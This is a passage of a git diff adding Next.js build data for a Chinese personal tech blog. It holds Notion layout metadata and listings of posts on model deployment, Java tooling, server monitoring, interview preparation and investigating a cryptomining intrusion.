-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240320-arthas.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240320-arthas.json new file mode 100644 index 000000000..da58683f5 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240320-arthas.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Not